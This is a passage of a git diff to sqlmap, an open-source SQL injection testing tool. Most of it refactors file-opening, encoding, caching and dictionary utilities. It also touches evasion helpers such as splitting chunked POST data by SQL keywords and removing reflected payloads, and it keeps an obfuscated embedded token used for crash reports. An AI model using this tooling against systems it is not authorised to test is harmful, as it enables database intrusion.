+ [1, 2, 3, 0]
"""
retVal = values
if isinstance(values, _collections.Iterable):
- retVal = [_ for _ in values if _]
+ retVal = [_ for _ in values if _ or _ == 0]
return retVal
@@ -3459,7 +3467,10 @@ def parseSqliteTableSchema(value):
columns[column] = match.group(3) or "TEXT"
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
- kb.data.cachedColumns[conf.db] = table
+ if conf.db in kb.data.cachedColumns:
+ kb.data.cachedColumns[conf.db].update(table)
+ else:
+ kb.data.cachedColumns[conf.db] = table
return retVal
@@ -3604,7 +3615,7 @@ def saveConfig(conf, filename):
config.set(family, option, value)
- with openFile(filename, "wb") as f:
+ with openFile(filename, 'w') as f:
try:
config.write(f)
except IOError as ex:
@@ -3810,6 +3821,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
# Reference: https://stackoverflow.com/a/37462452
if 'b' in mode:
buffering = 0
+ encoding = None
if filename == STDIN_PIPE_DASH:
if filename not in kb.cache.content:
@@ -3818,7 +3830,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
return contextlib.closing(io.StringIO(readCachedFileContent(filename)))
else:
try:
- return codecs.open(filename, mode, encoding, errors, buffering)
+ return codecs_open(filename, mode, encoding, errors, buffering)
except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
@@ -4002,7 +4014,7 @@ def createGithubIssue(errMsg, excMsg):
pass
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
- token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1])
+ token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1])
req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
try:
@@ -4017,7 +4029,7 @@ def createGithubIssue(errMsg, excMsg):
logger.info(infoMsg)
try:
- with openFile(paths.GITHUB_HISTORY, "a+b") as f:
+ with openFile(paths.GITHUB_HISTORY, "a+") as f:
f.write("%s\n" % key)
except:
pass
@@ -4149,6 +4161,11 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX)))
+ # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)")
+ preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content)
+ if preserve:
+ content = content.replace(preserve, REPLACEMENT_MARKER)
+
if regex != payload:
if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
@@ -4219,6 +4236,9 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
logger.debug(debugMsg)
+ if preserve and retVal:
+ retVal = retVal.replace(REPLACEMENT_MARKER, preserve)
+
except (MemoryError, SystemError):
kb.reflectiveMechanism = False
if not suppressWarning:
@@ -4279,9 +4299,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if not conf.noEscape:
retVal = unsafeSQLIdentificatorNaming(retVal)
- if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+ if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
@@ -4318,9 +4338,9 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name
if isinstance(name, six.string_types):
- if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
+ if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER):
retVal = name.replace("`", "")
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
@@ -4505,34 +4525,32 @@ def randomizeParameterValue(value):
retVal = value
- value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
+ retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal)
- for match in re.finditer(r"[A-Z]+", value):
+ def _replace_upper(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = randomStr(len(match.group())).upper()
- if original != candidate:
- break
+ candidate = randomStr(len(original)).upper()
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
-
- for match in re.finditer(r"[a-z]+", value):
+ def _replace_lower(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = randomStr(len(match.group())).lower()
- if original != candidate:
- break
+ candidate = randomStr(len(original)).lower()
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
-
- for match in re.finditer(r"[0-9]+", value):
+ def _replace_digit(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = str(randomInt(len(match.group())))
- if original != candidate:
- break
+ candidate = str(randomInt(len(original)))
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
+ retVal = re.sub(r"[A-Z]+", _replace_upper, retVal)
+ retVal = re.sub(r"[a-z]+", _replace_lower, retVal)
+ retVal = re.sub(r"[0-9]+", _replace_digit, retVal)
if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
parts = retVal.split('.')
@@ -4747,7 +4765,11 @@ def findPageForms(content, url, raiseException=False, addToTargets=False):
retVal.add(target)
for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
- url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+ try:
+ url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+ except ValueError:
+ continue
+
data = ""
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
@@ -4798,7 +4820,17 @@ def checkSameHost(*urls):
value = "http://%s" % value
return value
- return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:])
+ first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or ""
+ first = re.sub(r"(?i)\Awww\.", "", first)
+
+ for url in urls[1:]:
+ current = _urllib.parse.urlparse(_(url) or "").hostname or ""
+ current = re.sub(r"(?i)\Awww\.", "", current)
+
+ if current != first:
+ return False
+
+ return True
def getHostHeader(url):
"""
@@ -5007,6 +5039,10 @@ def extractExpectedValue(value, expected):
>>> extractExpectedValue(['1'], EXPECTED.BOOL)
True
+ >>> extractExpectedValue(['17'], EXPECTED.BOOL)
+ True
+ >>> extractExpectedValue(['0'], EXPECTED.BOOL)
+ False
>>> extractExpectedValue('1', EXPECTED.INT)
1
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
@@ -5027,10 +5063,10 @@ def extractExpectedValue(value, expected):
value = value == "true"
elif value in ('t', 'f'):
value = value == 't'
- elif value in ("1", "-1"):
- value = True
elif value == '0':
value = False
+ elif re.search(r"\A-?[1-9]\d*\Z", value):
+ value = True
else:
value = None
elif expected == EXPECTED.INT:
@@ -5086,7 +5122,7 @@ def resetCookieJar(cookieJar):
os.close(handle)
# Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
- with openFile(filename, "w+b") as f:
+ with openFile(filename, "w+") as f:
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
for line in lines:
_ = line.split("\t")
@@ -5145,14 +5181,16 @@ def prioritySortColumns(columns):
Sorts given column names by length in ascending order while those containing
string 'id' go first
- >>> prioritySortColumns(['password', 'userid', 'name'])
- ['userid', 'name', 'password']
+ >>> prioritySortColumns(['password', 'userid', 'name', 'id'])
+ ['id', 'userid', 'name', 'password']
"""
- def _(column):
- return column and re.search(r"^id|id$", column, re.I) is not None
+ recompile = re.compile(r"^id|id$", re.I)
- return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
+ return sorted(columns, key=lambda col: (
+ not (col and recompile.search(col)),
+ len(col)
+ ))
def getRequestHeader(request, name):
"""
@@ -5317,7 +5355,7 @@ def parseRequestFile(reqFile, checkParams=True):
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
- if not re.search(r":\d+\Z", host):
+ if not re.search(r":\d+\Z", host) and int(port) != 80:
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
@@ -5551,6 +5589,7 @@ def removePostHintPrefix(value):
return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value)
+
def chunkSplitPostData(data):
"""
Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords)
@@ -5561,7 +5600,7 @@ def chunkSplitPostData(data):
"""
length = len(data)
- retVal = ""
+ retVal = []
index = 0
while index < length:
@@ -5581,12 +5620,14 @@ def chunkSplitPostData(data):
break
index += chunkSize
- retVal += "%x;%s\r\n" % (chunkSize, salt)
- retVal += "%s\r\n" % candidate
- retVal += "0\r\n\r\n"
+ # Append to list instead of recreating the string
+ retVal.append("%x;%s\r\n" % (chunkSize, salt))
+ retVal.append("%s\r\n" % candidate)
- return retVal
+ retVal.append("0\r\n\r\n")
+
+ return "".join(retVal)
def checkSums():
"""
@@ -5607,8 +5648,35 @@ def checkSums():
continue
with open(filepath, "rb") as f:
content = f.read()
+ if b'\0' not in content:
+ content = content.replace(b"\r\n", b"\n")
if not hashlib.sha256(content).hexdigest() == expected:
retVal &= False
break
return retVal
+
+def safeCompareStrings(a, b):
+ """
+ Constant-time string comparison to prevent timing attacks.
+ >>> safeCompareStrings("test", "test")
+ True
+ >>> safeCompareStrings("test", None)
+ False
+ >>> safeCompareStrings("test1", "test2")
+ False
+ """
+ if a is None or b is None:
+ return a == b
+
+ if hasattr(hmac, "compare_digest"):
+ return hmac.compare_digest(a, b)
+
+ # Fallback for Python < 2.7.7 and < 3.3
+ if len(a) != len(b):
+ return False
+
+ result = 0
+ for x, y in zip(a, b):
+ result |= ord(x) ^ ord(y)
+ return result == 0
diff --git a/lib/core/compat.py b/lib/core/compat.py
index 7020f85c0..7020863da 100644
--- a/lib/core/compat.py
+++ b/lib/core/compat.py
@@ -1,14 +1,16 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
+import codecs
import binascii
import functools
+import io
import math
import os
import random
@@ -312,3 +314,116 @@ def LooseVersion(version):
result = float("NaN")
return result
+
+# NOTE: codecs.open re-implementation (deprecated in Python 3.14)
+
+try:
+ # Py2
+ _text_type = unicode
+ _bytes_types = (str, bytearray)
+except NameError:
+ # Py3
+ _text_type = str
+ _bytes_types = (bytes, bytearray, memoryview)
+
+_WRITE_CHARS = ("w", "a", "x", "+")
+
+def _is_write_mode(mode):
+ return any(ch in mode for ch in _WRITE_CHARS)
+
+class MixedWriteTextIO(object):
+ """
+ Text-ish stream wrapper that accepts both text and bytes in write().
+ Bytes are decoded using the file's (encoding, errors) before writing.
+
+ Optionally approximates line-buffering by flushing when a newline is written.
+ """
+ def __init__(self, fh, encoding, errors, line_buffered=False):
+ self._fh = fh
+ self._encoding = encoding
+ self._errors = errors
+ self._line_buffered = line_buffered
+
+ def write(self, data):
+ # bytes-like but not text -> decode
+ if isinstance(data, _bytes_types) and not isinstance(data, _text_type):
+ data = bytes(data).decode(self._encoding, self._errors)
+ elif not isinstance(data, _text_type):
+ data = _text_type(data)
+
+ n = self._fh.write(data)
+
+ # Approximate "line buffering" behavior if requested
+ if self._line_buffered and u"\n" in data:
+ try:
+ self._fh.flush()
+ except Exception:
+ pass
+
+ return n
+
+ def writelines(self, lines):
+ for x in lines:
+ self.write(x)
+
+ def __iter__(self):
+ return iter(self._fh)
+
+ def __next__(self):
+ return next(self._fh)
+
+ def next(self): # Py2
+ return self.__next__()
+
+ def __getattr__(self, name):
+ return getattr(self._fh, name)
+
+ def __enter__(self):
+ self._fh.__enter__()
+ return self
+
+ def __exit__(self, exc_type, exc, tb):
+ return self._fh.__exit__(exc_type, exc, tb)
+
+
+def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1):
+ """
+ Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior.
+
+ - If encoding is None: return io.open(...) as-is.
+ - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter
+ (like codecs.open()).
+ - For write-ish modes: return a wrapper that also accepts bytes on .write().
+ - Handles buffering=1 in binary mode by downgrading underlying buffering to -1,
+ while optionally preserving "flush on newline" behavior in the wrapper.
+ """
+ if encoding is None:
+ return io.open(filename, mode, buffering=buffering)
+
+ bmode = mode
+ if "b" not in bmode:
+ bmode += "b"
+
+ # Avoid line-buffering warnings/errors on binary streams
+ line_buffered = (buffering == 1)
+ if line_buffered:
+ buffering = -1
+
+ f = io.open(filename, bmode, buffering=buffering)
+
+ try:
+ info = codecs.lookup(encoding)
+ srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors)
+ srw.encoding = encoding
+
+ if _is_write_mode(mode):
+ return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered)
+
+ return srw
+ except Exception:
+ try:
+ f.close()
+ finally:
+ raise
+
+codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open
diff --git a/lib/core/convert.py b/lib/core/convert.py
index 72c1ce79a..3d24fb541 100644
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -31,6 +31,7 @@ from lib.core.settings import SAFE_HEX_MARKER
from lib.core.settings import UNICODE_ENCODING
from thirdparty import six
from thirdparty.six import unichr as _unichr
+from thirdparty.six.moves import html_parser
from thirdparty.six.moves import collections_abc as _collections
try:
@@ -58,7 +59,7 @@ def base64pickle(value):
try:
retVal = encodeBase64(pickle.dumps(value), binary=False)
except:
- retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
+ raise
return retVal
@@ -81,25 +82,27 @@ def base64unpickle(value):
def htmlUnescape(value):
"""
- Returns (basic conversion) HTML unescaped value
+ Returns HTML unescaped value
>>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar'
+ True
+ >>> htmlUnescape('foobar') == 'foobar'
+ True
+ >>> htmlUnescape('©€') == htmlUnescape('©€')
+ True
"""
- retVal = value
-
if value and isinstance(value, six.string_types):
- replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'"))
- for code, value in replacements:
- retVal = retVal.replace(code, value)
-
- try:
- retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
- except (ValueError, OverflowError):
- pass
-
- return retVal
+ if six.PY3:
+ import html
+ return html.unescape(value)
+ else:
+ return html_parser.HTMLParser().unescape(value)
+ return value
def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message)
@@ -135,23 +138,6 @@ def dejsonize(data):
return json.loads(data)
-def rot13(data):
- """
- Returns ROT13 encoded/decoded text
-
- >>> rot13('foobar was here!!')
- 'sbbone jnf urer!!'
- >>> rot13('sbbone jnf urer!!')
- 'foobar was here!!'
- """
-
- # Reference: https://stackoverflow.com/a/62662878
- retVal = ""
- alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ"
- for char in data:
- retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char
- return retVal
-
def decodeHex(value, binary=True):
"""
Returns a decoded representation of the provided hexadecimal value
@@ -190,10 +176,12 @@ def encodeHex(value, binary=True):
'313233'
>>> encodeHex(b"123"[0]) == b"31"
True
+ >>> encodeHex(123, binary=False)
+ '7b'
"""
if isinstance(value, int):
- value = six.unichr(value)
+ value = six.int2byte(value)
if isinstance(value, six.text_type):
value = value.encode(UNICODE_ENCODING)
@@ -307,7 +295,11 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
except (LookupError, TypeError):
encoding = UNICODE_ENCODING
- if isinstance(value, six.text_type):
+ if isinstance(value, bytearray):
+ return bytes(value)
+ elif isinstance(value, memoryview):
+ return value.tobytes()
+ elif isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA:
if unsafe:
for char in xrange(0xF0000, 0xF00FF + 1):
@@ -350,6 +342,8 @@ def getUnicode(value, encoding=None, noneToNull=False):
True
>>> getUnicode(None) == 'None'
True
+ >>> getUnicode(b'/etc/passwd') == '/etc/passwd'
+ True
"""
# Best position for --time-limit mechanism
@@ -366,7 +360,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding()))
if all(_ in value for _ in (b'<', b'>')):
pass
- elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value:
+ elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")):
candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding")))
elif conf.get("encoding") and b'\n' not in value:
candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING))
@@ -415,10 +409,15 @@ def getText(value, encoding=None):
def stdoutEncode(value):
"""
- Returns binary representation of a given Unicode value safe for writing to stdout
+ Returns textual representation of a given value safe for writing to stdout
+ >>> stdoutEncode(b"foobar")
+ 'foobar'
+ >>> stdoutEncode({"url": "http://example.com/foo", "data": "id=1"}) == {"url": "http://example.com/foo", "data": "id=1"}
+ True
"""
- value = value or ""
+ if value is None:
+ value = ""
if IS_WIN and IS_TTY and kb.get("codePage", -1) is None:
output = shellExec("chcp")
@@ -428,36 +427,33 @@ def stdoutEncode(value):
try:
candidate = "cp%s" % match.group(1)
codecs.lookup(candidate)
- except LookupError:
- pass
- else:
kb.codePage = candidate
+ except (LookupError, TypeError):
+ pass
kb.codePage = kb.codePage or ""
- if isinstance(value, six.text_type):
- encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
+ encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
- while True:
- try:
- retVal = value.encode(encoding)
- break
- except UnicodeEncodeError as ex:
- value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:]
-
- warnMsg = "cannot properly display (some) Unicode characters "
- warnMsg += "inside your terminal ('%s') environment. All " % encoding
- warnMsg += "unhandled occurrences will result in "
- warnMsg += "replacement with '?' character. Please, find "
- warnMsg += "proper character representation inside "
- warnMsg += "corresponding output files"
- singleTimeWarnMessage(warnMsg)
-
- if six.PY3:
- retVal = getUnicode(retVal, encoding)
+ if six.PY3:
+ if isinstance(value, (bytes, bytearray)):
+ value = getUnicode(value, encoding)
+ elif not isinstance(value, str):
+ # Reference: https://github.com/sqlmapproject/sqlmap/issues/6054
+ return value
+ try:
+ retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace")
+ except (LookupError, TypeError):
+ retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace")
else:
- retVal = value
+ if isinstance(value, six.text_type):
+ try:
+ retVal = value.encode(encoding, errors="replace")
+ except (LookupError, TypeError):
+ retVal = value.encode("ascii", errors="replace")
+ else:
+ retVal = value
return retVal
@@ -472,7 +468,7 @@ def getConsoleLength(value):
"""
if isinstance(value, six.text_type):
- retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+ retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
else:
retVal = len(value)
diff --git a/lib/core/data.py b/lib/core/data.py
index 5b46facd0..5523a60c4 100644
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
index 56fd0baeb..15160ae4d 100644
--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -20,32 +20,31 @@ class AttribDict(dict):
>>> foo.bar = 1
>>> foo.bar
1
+ >>> import copy; copy.deepcopy(foo).bar
+ 1
"""
def __init__(self, indict=None, attribute=None, keycheck=True):
if indict is None:
indict = {}
- # Set any attributes here - before initialisation
- # these remain as normal attributes
- self.attribute = attribute
- self.keycheck = keycheck
dict.__init__(self, indict)
- self.__initialised = True
-
- # After initialisation, setting attributes
- # is the same as setting an item
+ self.__dict__["_attribute"] = attribute
+ self.__dict__["_keycheck"] = keycheck
+ self.__dict__["_initialized"] = True
def __getattr__(self, item):
"""
Maps values to attributes
Only called if there *is NOT* an attribute with this name
"""
+ if item.startswith('__') and item.endswith('__'):
+ raise AttributeError(item)
try:
return self.__getitem__(item)
except KeyError:
- if self.keycheck:
+ if self.__dict__.get("_keycheck"):
raise AttributeError("unable to access item '%s'" % item)
else:
return None
@@ -58,7 +57,7 @@ class AttribDict(dict):
try:
return self.pop(item)
except KeyError:
- if self.keycheck:
+ if self.__dict__.get("_keycheck"):
raise AttributeError("unable to access item '%s'" % item)
else:
return None
@@ -69,14 +68,8 @@ class AttribDict(dict):
Only if we are initialised
"""
- # This test allows attributes to be set in the __init__ method
- if "_AttribDict__initialised" not in self.__dict__:
- return dict.__setattr__(self, item, value)
-
- # Any normal attributes are handled normally
- elif item in self.__dict__:
- dict.__setattr__(self, item, value)
-
+ if "_initialized" not in self.__dict__ or item in self.__dict__:
+ self.__dict__[item] = value
else:
self.__setitem__(item, value)
@@ -87,14 +80,12 @@ class AttribDict(dict):
self.__dict__ = dict
def __deepcopy__(self, memo):
- retVal = self.__class__()
+ retVal = self.__class__(keycheck=self.__dict__.get("_keycheck"))
memo[id(self)] = retVal
- for attr in dir(self):
- if not attr.startswith('_'):
- value = getattr(self, attr)
- if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
- setattr(retVal, attr, copy.deepcopy(value, memo))
+ for attr, value in self.__dict__.items():
+ if attr not in ('_attribute', '_keycheck', '_initialized'):
+ setattr(retVal, attr, copy.deepcopy(value, memo))
for key, value in self.items():
retVal.__setitem__(key, copy.deepcopy(value, memo))
@@ -102,8 +93,8 @@ class AttribDict(dict):
return retVal
class InjectionDict(AttribDict):
- def __init__(self):
- AttribDict.__init__(self)
+ def __init__(self, **kwargs):
+ AttribDict.__init__(self, **kwargs)
self.place = None
self.parameter = None
@@ -157,8 +148,11 @@ class LRUDict(object):
self.cache[key] = value
return value
- def get(self, key):
- return self.__getitem__(key)
+ def get(self, key, default=None):
+ try:
+ return self.__getitem__(key)
+ except:
+ return default
def __setitem__(self, key, value):
with self.__lock:
@@ -167,7 +161,7 @@ class LRUDict(object):
except KeyError:
if len(self.cache) >= self.capacity:
self.cache.popitem(last=False)
- self.cache[key] = value
+ self.cache[key] = value
def set(self, key, value):
self.__setitem__(key, value)
diff --git a/lib/core/decorators.py b/lib/core/decorators.py
index 196abd883..53603e816 100644
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -1,17 +1,15 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import functools
-import hashlib
import threading
from lib.core.datatype import LRUDict
from lib.core.settings import MAX_CACHE_ITEMS
-from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
_cache = {}
@@ -39,25 +37,42 @@ def cachedmethod(f):
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
_method_locks[f] = threading.RLock()
+ def _freeze(val):
+ if isinstance(val, (list, set, tuple)):
+ return tuple(_freeze(x) for x in val)
+ if isinstance(val, dict):
+ return tuple(sorted((k, _freeze(v)) for k, v in val.items()))
+ return val
+
@functools.wraps(f)
def _f(*args, **kwargs):
- parts = (
- f.__module__ + "." + f.__name__,
- "^".join(repr(a) for a in args),
- "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs))
- )
+ lock, cache = _method_locks[f], _cache[f]
+
try:
- key = int(hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
- except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
- result = f(*args, **kwargs)
- else:
- lock, cache = _method_locks[f], _cache[f]
+ if kwargs:
+ key = (args, frozenset(kwargs.items()))
+ else:
+ key = args
+
with lock:
- try:
- result = cache[key]
- except KeyError:
- result = f(*args, **kwargs)
- cache[key] = result
+ if key in cache:
+ return cache[key]
+
+ except TypeError:
+ # Note: fallback (slowpath(
+ if kwargs:
+ key = (_freeze(args), _freeze(kwargs))
+ else:
+ key = _freeze(args)
+
+ with lock:
+ if key in cache:
+ return cache[key]
+
+ result = f(*args, **kwargs)
+
+ with lock:
+ cache[key] = result
return result
@@ -84,13 +99,24 @@ def stackedmethod(f):
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
- threadData.valueStack = threadData.valueStack[:originalLevel]
+ del threadData.valueStack[originalLevel:]
return result
return _
def lockedmethod(f):
+ """
+ Decorates a function or method with a reentrant lock (only one thread can execute the function at a time)
+
+ >>> @lockedmethod
+ ... def recursive_count(n):
+ ... if n <= 0: return 0
+ ... return n + recursive_count(n - 1)
+ >>> recursive_count(5)
+ 15
+ """
+
lock = threading.RLock()
@functools.wraps(f)
diff --git a/lib/core/defaults.py b/lib/core/defaults.py
index 957629161..743ab6a26 100644
--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index 8d929e421..b53676df0 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
